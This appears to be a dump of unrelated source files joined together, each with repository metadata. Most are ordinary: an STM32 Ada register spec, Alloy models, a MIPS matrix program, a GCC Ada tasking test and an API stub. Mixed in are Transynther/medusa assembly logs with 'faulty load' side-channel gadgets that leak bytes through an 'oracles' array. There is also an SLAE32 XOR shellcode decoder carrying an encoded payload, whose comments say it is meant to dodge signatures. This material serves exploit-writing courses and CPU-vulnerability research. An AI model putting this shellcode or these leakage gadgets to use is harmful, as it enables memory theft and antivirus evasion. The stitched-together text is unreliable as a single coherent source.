'addresses_A', 'congruent': 2}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC_ht', 'congruent': 10}} {'dst': {'same': False, 'congruent': 2, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}} {'dst': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_D_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 8}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 2}} {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 10}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 3}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 9}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}} {'dst': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 3, 'type': 'addresses_WT_ht'}} {'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC_ht', 'congruent': 2}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 1, 'type': 'addresses_A_ht', 'congruent': 8}} {'dst': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}} {'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D_ht', 'congruent': 5}, 'OP': 'STOR'} {'35': 21828, '00': 1} 00 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
arch/ARM/STM32/svd/stm32l4x6/stm32_svd.ads
morbos/Ada_Drivers_Library
2
26261
-- This spec has been automatically generated from STM32L4x6.svd pragma Restrictions (No_Elaboration_Code); pragma Ada_2012; pragma Style_Checks (Off); with System; -- STM32L4x6 package STM32_SVD is pragma Preelaborate; -------------------- -- Base addresses -- -------------------- DAC_Base : constant System.Address := System'To_Address (16#40007400#); DMA1_Base : constant System.Address := System'To_Address (16#40020000#); DMA2_Base : constant System.Address := System'To_Address (16#40020400#); CRC_Base : constant System.Address := System'To_Address (16#40023000#); LCD_Base : constant System.Address := System'To_Address (16#40002400#); TSC_Base : constant System.Address := System'To_Address (16#40024000#); IWDG_Base : constant System.Address := System'To_Address (16#40003000#); WWDG_Base : constant System.Address := System'To_Address (16#40002C00#); COMP_Base : constant System.Address := System'To_Address (16#40010200#); FIREWALL_Base : constant System.Address := System'To_Address (16#40011C00#); I2C1_Base : constant System.Address := System'To_Address (16#40005400#); I2C2_Base : constant System.Address := System'To_Address (16#40005800#); I2C3_Base : constant System.Address := System'To_Address (16#40005C00#); I2C4_Base : constant System.Address := System'To_Address (16#40008400#); FLASH_Base : constant System.Address := System'To_Address (16#40022000#); DBGMCU_Base : constant System.Address := System'To_Address (16#E0042000#); QUADSPI_Base : constant System.Address := System'To_Address (16#A0001000#); RCC_Base : constant System.Address := System'To_Address (16#40021000#); PWR_Base : constant System.Address := System'To_Address (16#40007000#); SYSCFG_Base : constant System.Address := System'To_Address (16#40010000#); DFSDM1_Base : constant System.Address := System'To_Address (16#40016000#); RNG_Base : constant System.Address := System'To_Address (16#50060800#); AES_Base : constant System.Address := System'To_Address (16#50060000#); ADC_Base : constant System.Address := System'To_Address (16#50040000#); ADC_Common_Base : constant System.Address := System'To_Address (16#50040300#); GPIOA_Base : constant System.Address := System'To_Address (16#48000000#); GPIOB_Base : constant System.Address := System'To_Address (16#48000400#); GPIOC_Base : constant System.Address := System'To_Address (16#48000800#); GPIOD_Base : constant System.Address := System'To_Address (16#48000C00#); GPIOE_Base : constant System.Address := System'To_Address (16#48001000#); GPIOF_Base : constant System.Address := System'To_Address (16#48001400#); GPIOG_Base : constant System.Address := System'To_Address (16#48001800#); GPIOH_Base : constant System.Address := System'To_Address (16#48001C00#); GPIOI_Base : constant System.Address := System'To_Address (16#48002000#); SAI1_Base : constant System.Address := System'To_Address (16#40015400#); SAI2_Base : constant System.Address := System'To_Address (16#40015800#); TIM2_Base : constant System.Address := System'To_Address (16#40000000#); TIM3_Base : constant System.Address := System'To_Address (16#40000400#); TIM4_Base : constant System.Address := System'To_Address (16#40000800#); TIM5_Base : constant System.Address := System'To_Address (16#40000C00#); TIM15_Base : constant System.Address := System'To_Address (16#40014000#); TIM16_Base : constant System.Address := System'To_Address (16#40014400#); TIM17_Base : constant System.Address := System'To_Address (16#40014800#); TIM1_Base : constant System.Address := System'To_Address (16#40012C00#); TIM8_Base : constant System.Address := System'To_Address (16#40013400#); TIM6_Base : constant System.Address := System'To_Address (16#40001000#); TIM7_Base : constant System.Address := System'To_Address (16#40001400#); LPTIM1_Base : constant System.Address := System'To_Address (16#40007C00#); LPTIM2_Base : constant System.Address := System'To_Address (16#40009400#); USART1_Base : constant System.Address := System'To_Address (16#40013800#); USART2_Base : constant System.Address := System'To_Address (16#40004400#); USART3_Base : constant System.Address := System'To_Address (16#40004800#); UART4_Base : constant System.Address := System'To_Address (16#40004C00#); UART5_Base : constant System.Address := System'To_Address (16#40005000#); LPUART1_Base : constant System.Address := System'To_Address (16#40008000#); SPI1_Base : constant System.Address := System'To_Address (16#40013000#); SPI2_Base : constant System.Address := System'To_Address (16#40003800#); SPI3_Base : constant System.Address := System'To_Address (16#40003C00#); SDMMC1_Base : constant System.Address := System'To_Address (16#40012800#); EXTI_Base : constant System.Address := System'To_Address (16#40010400#); VREFBUF_Base : constant System.Address := System'To_Address (16#40010030#); CAN1_Base : constant System.Address := System'To_Address (16#40006400#); CAN2_Base : constant System.Address := System'To_Address (16#40006800#); RTC_Base : constant System.Address := System'To_Address (16#40002800#); OTG_FS_GLOBAL_Base : constant System.Address := System'To_Address (16#50000000#); OTG_FS_HOST_Base : constant System.Address := System'To_Address (16#50000400#); OTG_FS_DEVICE_Base : constant System.Address := System'To_Address (16#50000800#); OTG_FS_PWRCLK_Base : constant System.Address := System'To_Address (16#50000E00#); SWPMI1_Base : constant System.Address := System'To_Address (16#40008800#); OPAMP_Base : constant System.Address := System'To_Address (16#40007800#); FMC_Base : constant System.Address := System'To_Address (16#A0000000#); NVIC_Base : constant System.Address := System'To_Address (16#E000E000#); CRS_Base : constant System.Address := System'To_Address (16#40006000#); DCMI_Base : constant System.Address := System'To_Address (16#50050000#); HASH_Base : constant System.Address := System'To_Address (16#50060400#); DMA2D_Base : constant System.Address := System'To_Address (16#4002B000#); end STM32_SVD;
alloy4fun_models/trainstlt/models/5/kvsZSk8t6whPTDrff.als
Kaixi26/org.alloytools.alloy
0
3098
<gh_stars>0 open main pred idkvsZSk8t6whPTDrff_prop6 { always (all s : Signal | s in Green implies eventually s not in Green or s not in Green implies eventually s in Green) } pred __repair { idkvsZSk8t6whPTDrff_prop6 } check __repair { idkvsZSk8t6whPTDrff_prop6 <=> prop6o }
MIPS/matrices_multiplication.asm
DLZaan/public
0
169875
<gh_stars>0 #matrices multiplication, can be easily optimised #s0->number of rows of first matrix in bytes (4*size of ints) #s1->number of columns of first matrix in bytes #s2->number of rows of second matrix in bytes #s3->number of columns of second matrix in bytes #s4->size of first matrix in bytes #s5->size of second matrix in bytes #s6->matrix 1 #s7->matrix 2 #t0->input loops iterator //also buffer in loop3 #t1->loop1 iterator #t2->loop2 iterator #t3->loop3 iterator #t4->=4 #t5->product of multiplication //also buffer in loop3 #t6->first matrix iterator #t7->second matrix iterator .text li $t4, 4 #t4=4 la $a0, rows1Matrix li $v0, 4 # print string syscall li $v0, 5 # read int syscall mul $s0, $t4, $v0 #convert to size bytes la $a0, columns1Matrix li $v0, 4 syscall li $v0, 5 syscall mul $s1, $t4, $v0 la $a0, rows2Matrix li $v0, 4 syscall li $v0, 5 syscall mul $s2, $t4, $v0 la $a0, columns2Matrix li $v0, 4 syscall li $v0, 5 syscall mul $s3, $t4, $v0 #if (s1!=s2||s0<=0||s1<=0||s3<=0) -> wrongData, exit bne $s1, $s2, wrong blez $s0, wrong blez $s1, wrong blez $s3, wrong # allocate heap memory for first matrix mul $s4, $s0, $s1 #s4=s0*s1 div $s4, $s4, $t4 move $a0, $s4 li $v0, 9 #allocate memory of size in a0 syscall move $s6, $v0 # allocate heap memory for second matrix mul $s5, $s2, $s3 #s5=s2*s3 div $s5, $s5, $t4 move $a0, $s5 li $v0, 9 #allocate memory of size in a0 syscall move $s7, $v0 #get elements of first matrix la $a0, elements1 li $v0, 4 # print string syscall li $t0, 0 #loop iterator=0 move $t6, $s6 #first matrix iterator=begin jal loadMatrix1 #get elements of second matrix la $a0, elements2 li $v0, 4 # print string syscall li $t0, 0 #loop iterator=0 move $t7, $s7 #second matrix iterator=begin jal loadMatrix2 #product of matrices la $a0, result li $v0, 4 # print string syscall jal outerLoop li $v0, 10 # exit syscall loadMatrix1: li $v0, 5 #read int syscall sw $v0, ($t6) # store word; store value to s4 addi $t6, $t6, 4 # first matrix iterator++ addi $t0, $t0, 4 # loop iterator++ blt $t0, $s4, loadMatrix1 # if (t0<t5) go to loadMatrix1 jr $ra loadMatrix2: li $v0, 5 #read int syscall sw $v0, ($t7) # store word; store value to s5 addi $t7, $t7, 4 # second matrix iterator++ addi $t0, $t0, 4 # loop iterator++ blt $t0, $s5, loadMatrix2 # if (t0<t6) go to loadMatrix2 jr $ra outerLoop: addi $sp, $sp, -4 sw $ra, ($sp) li $t1, 0 #t1=0 (loop1 iterator = 0) loop1: #for (c = 0; c < s0; c++) li $t2, 0 #t2=0 (loop2 iterator = 0) jal innerLoop addi $t1, $t1, 4 # loop1 iterator++ la $a0, endl li $v0, 4 # print string syscall blt $t1, $s0, loop1 #if(t1<s0) go to loop1 lw $ra, ($sp) addi $sp, $sp, 4 jr $ra innerLoop: addi $sp, $sp, -4 sw $ra, ($sp) loop2: #for (d = 0; d < s3; d++) mul $t6, $t1, $s1 div $t6, $t6, $t4 add $t6, $s6, $t6 #first matrix iterator add $t7, $s7, $t2 #second matrix iterator li $a0, 0 li $t3, 0 #(loop3 iterator = 0) jal loop3 li $v0, 1 syscall addi $t2, $t2, 4 # loop2 iterator++ la $a0, tab li $v0, 4 # print string syscall blt $t2, $s3, loop2 #if(t2<s3) go to loop2 lw $ra, ($sp) addi $sp, $sp, 4 jr $ra loop3: #for (k = 0; k < s2; k++) #sum+=((first[c][k])*(second[k][d])) -> a0+=($t6)*($t7) lw $t0, ($t6) lw $t5, ($t7) mul $t5, $t0, $t5 add $a0, $a0, $t5 add $t7, $t7, $s3 #second matrix iterator++ addi $t6, $t6, 4 #first matrix iterator++ addi $t3, $t3, 4 # loop3 iterator++ blt $t3, $s1, loop3 #if(t3<s1) go to loop3 jr $ra wrong: la $a0, wrongData #print wrong_data li $v0, 4 syscall li $v0, 10 syscall .data rows1Matrix: .asciiz "Input number of rows of first matrix: \n" columns1Matrix: .asciiz "Input number of columns of first matrix: \n" rows2Matrix: .asciiz "Input number of rows of second matrix: \n" columns2Matrix: .asciiz "Input number of columns of first matrix: \n" wrongData: .asciiz "The matrices can't be multiplied with each other.\n" elements1: .asciiz "Input elements of first matrix: \n" elements2: .asciiz "Input elements of second matrix: \n" result: .asciiz "Product of the matrices: \n" tab: .asciiz " " endl: .asciiz "\n"
libsrc/_DEVELOPMENT/temp/sp1/zx/c/sccz80/sp1_PrintString_callee.asm
jpoikela/z88dk
640
17994
; void __CALLEE__ sp1_PrintString_callee(struct sp1_pss *ps, uchar *s) ; 02.2008 aralbrec, Sprite Pack v3.0 ; zxz81 hi-res version SECTION code_clib SECTION code_temp_sp1 PUBLIC sp1_PrintString_callee EXTERN asm_sp1_PrintString sp1_PrintString_callee: pop hl pop de ex (sp),hl jp asm_sp1_PrintString
alloy4fun_models/trashltl/models/9/JDq85JQySFYLScu3m.als
Kaixi26/org.alloytools.alloy
0
1963
<filename>alloy4fun_models/trashltl/models/9/JDq85JQySFYLScu3m.als open main pred idJDq85JQySFYLScu3m_prop10 { (all f:File&Protected | always after f in Protected) } pred __repair { idJDq85JQySFYLScu3m_prop10 } check __repair { idJDq85JQySFYLScu3m_prop10 <=> prop10o }
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c9/c91004b.ada
best08618/asylo
7
8319
<filename>gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c9/c91004b.ada -- C91004B.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- OBJECTIVE: -- CHECK THAT A TASK (TYPE) IDENTIFIER, WHEN USED WITHIN ITS OWN -- BODY, REFERS TO THE EXECUTING TASK. -- TEST USING IDENTIFIER IN ABORT STATEMENT, AS AN EXPRESSION IN -- A MEMBERSHIP TEST, AND THE PREFIX OF 'CALLABLE AND -- 'TERMINATED. -- HISTORY: -- WEI 3/ 4/82 CREATED ORIGINAL TEST. -- RJW 11/13/87 RENAMED TEST FROM C910BDA.ADA. ADDED CHECKS FOR -- MEMBERSHIP TEST, AND 'CALLABLE AND 'TERMINATED -- ATTRIBUTES. WITH REPORT; USE REPORT; PROCEDURE C91004B IS TYPE I0 IS RANGE 0..1; SUBTYPE ARG IS NATURAL RANGE 0..9; SPYNUMB : NATURAL := 0; TASK TYPE TT1 IS ENTRY E1 (P1 : IN I0; P2 : ARG); ENTRY BYE; END TT1; SUBTYPE SUB_TT1 IS TT1; OBJ_TT1 : ARRAY (NATURAL RANGE 1..2) OF TT1; PROCEDURE PSPY_NUMB (DIGT: IN ARG) IS BEGIN SPYNUMB := 10*SPYNUMB+DIGT; END PSPY_NUMB; TASK BODY TT1 IS BEGIN IF TT1 NOT IN SUB_TT1 THEN FAILED ("INCORRECT RESULTS FOR MEMBERSHIP TEST"); END IF; IF NOT TT1'CALLABLE THEN FAILED ("INCORRECT RESULTS FOR 'CALLABLE"); END IF; IF TT1'TERMINATED THEN FAILED ("INCORRECT RESULTS FOR 'TERMINATED"); END IF; ACCEPT E1 (P1 : IN I0; P2 : ARG) DO IF P1 = 1 THEN ABORT TT1; ACCEPT BYE; -- WILL DEADLOCK IF NOT ABORTED. END IF; PSPY_NUMB (ARG (P2)); END E1; END TT1; BEGIN TEST ("C91004B", "TASK IDENTIFIER IN OWN BODY"); BEGIN OBJ_TT1 (1).E1 (1,1); FAILED ("NO TASKING_ERROR RAISED"); -- ABORT DURING RENDEVOUS RAISES TASKING ERROR EXCEPTION WHEN TASKING_ERROR => NULL; WHEN OTHERS => FAILED ("OTHER EXCEPTION RAISED"); END; OBJ_TT1 (2).E1 (0,2); IF SPYNUMB /= 2 THEN FAILED ("WRONG TASK OBJECT REFERENCED"); COMMENT ("ACTUAL ORDER WAS:" & INTEGER'IMAGE(SPYNUMB)); END IF; RESULT; END C91004B;
A4/xmm_xor_decoder.nasm
mshaneck/SLAE32
0
13928
<filename>A4/xmm_xor_decoder.nasm ; Title: XMM decoder shellcode ; Filename: xmm_xor_decoder.nasm ; Author: <NAME> ; Website: http://markshaneck.com ; ; A more detailed description of this code can be found at ; http://markshaneck.com/SLAE32/slae32-assignment4 ; ; Purpose: Decode shellcode that has been encoded through ; an xor with a 128 bit value that gets rotated left by ; a particular amount. This code is not intended to be ; used directly but as a way to create a template for ; the associated python script to autogenerate it, since ; the xor key and the shift amount will be randomized for ; each run global _start section .text _start: jmp get_keys got_keys: pop esi ; esi contains the address of the xor key xor ecx,ecx movdqu xmm1, [esi] ; put the xor key into xmm1 pxor xmm3,xmm3 ; put a zero in xmm3 for end point check jmp short move_on ; put the data in the middle to break up the signature somewhat, since ; the 128 bit xorkey will be random each time get_keys: call got_keys ; the xorkey will be a random value xorKey: db <KEY> move_on: jmp short get_shellcode got_shellcode: pop esi ; now the shellcode address is loaded into esi mov edx,esi ; we will update esi, so edx will save the start point decode_loop: movdqu xmm0, [esi] ; put the first block of encoded shellcode into xmm0 pxor xmm0,xmm1 ; decode that next block movdqu [esi],xmm0 ; check to see if that value in xmm0 is 0 ; xmm3 contains all zeros ; so we can use vptest and jc ; vptest xmm3,xmm0 sets the CF if xmm0 AND NOT xmm3 is all zeros ; that is, since xmm3 is zero, not xmm3 is all 1s ; so xmm0 and not xmm3 will be all zeros if xmm0 is all zeros vptest xmm3,xmm0 jnc rotate_key jmp edx rotate_key: ; before we increment esi and loop, rol the key by shiftvalue bytes ; these shift values will be dynamically generated by the encoder script ; hard code for now movdqu xmm2,xmm1 ; copy so we can rotate the key pslldq xmm1, 0x9 ; rotate left by shift key --> this needs to get replaced with the random value psrldq xmm2, 0x7 ; rotate right by remainder --> this needs to get replaced with the random value por xmm1,xmm2 ; OR together to get rotate left ; skip to the next block of encoded shellcode add esi, 0x10 jmp short decode_loop get_shellcode: call got_shellcode shellcode: db 0x40,0xa3,0x3e,0x1d,0xcf,0xc1,0x61,0x0d,0x07,0x9d,0xc0,0x74,0x97,0xc7,0x82,0x09,0x89,0x04,0x9d,0x1a,0xa4,0x03,0xf5,0x67,0x34,0x8e,0x95,0x36,0xb4,0x9b,0x76,0xbd,0xe0,0xe4,0x06,0x05,0xbb,0x90,0x9a,0x3b,0xdb,0x09,0xb4,0x9c,0x2b,0x7f,0xce,0x75,0x1a,0xd1,0x09,0xb4,0x9c,0x2b,0x7f,0xce,0x75,0x8f,0xc4,0x71,0x6a,0xc9,0xfc,0xfe
alloy4fun_models/trashltl/models/7/557bzMwP6hzjLzjis.als
Kaixi26/org.alloytools.alloy
0
1331
<filename>alloy4fun_models/trashltl/models/7/557bzMwP6hzjLzjis.als<gh_stars>0 open main pred id557bzMwP6hzjLzjis_prop8 { all f1:File , f2:File | f1->f2 in link implies eventually f1 in Trash } pred __repair { id557bzMwP6hzjLzjis_prop8 } check __repair { id557bzMwP6hzjLzjis_prop8 <=> prop8o }
ada-server/src/-servers.ads
mindviser/keepaSDK
3
11052
-- Keepa API -- The Keepa API offers numerous endpoints. Every request requires your API access key as a parameter. You can find and change your key in the keepa portal. All requests must be issued as a HTTPS GET and accept gzip encoding. If possible, use a Keep_Alive connection. Multiple requests can be made in parallel to increase throughput. -- ------------ EDIT NOTE ------------ -- This file was generated with openapi-generator. You can modify it to implement -- the server. After you modify this file, you should add the following line -- to the .openapi-generator-ignore file: -- -- src/-servers.ads -- -- Then, you can drop this edit note comment. -- ------------ EDIT NOTE ------------ with Swagger.Servers; with .Models; with .Skeletons; package .Servers is use .Models; type Server_Type is limited new .Skeletons.Server_Type with null record; -- Returns Amazon category information from Keepa API. -- Retrieve category objects using their node ids and (optional) their parent tree. overriding procedure Category (Server : in out Server_Type; Key : in Swagger.UString; Domain : in Integer; Category : in Integer; Parents : in Integer; Result : out .Models.CategoryType_Vectors.Vector; Context : in out Swagger.Servers.Context_Type); -- Retrieve the product for the specified ASIN and domain. -- Retrieves the product object for the specified ASIN and domain. If our last update is older than one hour it will be automatically refreshed before delivered to you to ensure you get near to real-time pricing data. You can request products via either their ASIN (preferred) or via UPC and EAN codes. You can not use both parameters, asin and code, in the same request. Keepa can not track Amazon Fresh and eBooks. overriding procedure Product (Server : in out Server_Type; Key : in Swagger.UString; Domain : in Integer; Asin : in Swagger.Nullable_UString; Code : in Swagger.Nullable_UString; Result : out .Models.CategoryType_Vectors.Vector; Context : in out Swagger.Servers.Context_Type); package Server_Impl is new .Skeletons.Shared_Instance (Server_Type); end .Servers;
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_5895_1523.asm
ljhsiun2/medusa
9
82973
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x2cdc, %r13 nop nop nop nop nop add $26745, %rbx movups (%r13), %xmm4 vpextrq $0, %xmm4, %rsi nop nop nop sub $46594, %r13 lea addresses_WT_ht+0x54dc, %r13 clflush (%r13) nop nop dec %rax vmovups (%r13), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %rdi nop nop nop xor $46340, %rsi lea addresses_UC_ht+0xdff8, %r13 nop nop nop add %rax, %rax mov $0x6162636465666768, %rbx movq %rbx, %xmm5 movups %xmm5, (%r13) xor %rdi, %rdi lea addresses_WC_ht+0x1873c, %r13 and $62741, %rax vmovups (%r13), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $0, %xmm2, %rbx nop nop nop nop nop cmp %rax, %rax lea addresses_UC_ht+0x5c5c, %rdx nop cmp $23293, %r14 vmovups (%rdx), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %rsi nop nop nop nop and $57271, %r14 lea addresses_WC_ht+0x70dc, %rsi lea addresses_WC_ht+0x1715c, %rdi clflush (%rdi) nop nop xor %rdx, %rdx mov $27, %rcx rep movsq nop nop cmp %r14, %r14 lea addresses_WT_ht+0x685c, %rdx nop nop nop nop nop cmp $22766, %rax mov $0x6162636465666768, %rbx movq %rbx, %xmm7 vmovups %ymm7, (%rdx) nop nop dec %r14 lea addresses_WT_ht+0x16344, %rsi lea addresses_WT_ht+0x63ac, %rdi nop nop nop nop sub %r14, %r14 mov $111, %rcx rep movsl nop nop nop dec %r14 lea addresses_WC_ht+0x1c9d8, %rdi and $36898, %rdx mov (%rdi), %rcx nop nop nop nop nop add $28310, %r13 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r15 push %r9 push %rbp push %rbx push %rdx // Load mov $0x7cac630000000fb0, %r13 nop sub %rdx, %rdx movaps (%r13), %xmm4 vpextrq $1, %xmm4, %rbp nop and %rbp, %rbp // Faulty Load lea addresses_RW+0x1a0dc, %r12 add %rbx, %rbx mov (%r12), %edx lea oracles, %r15 and $0xff, %rdx shlq $12, %rdx mov (%r15,%rdx,1), %rdx pop %rdx pop %rbx pop %rbp pop %r9 pop %r15 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_RW', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_NC', 'same': False, 'size': 16, 'congruent': 2, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_RW', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 2, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'32': 5895} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 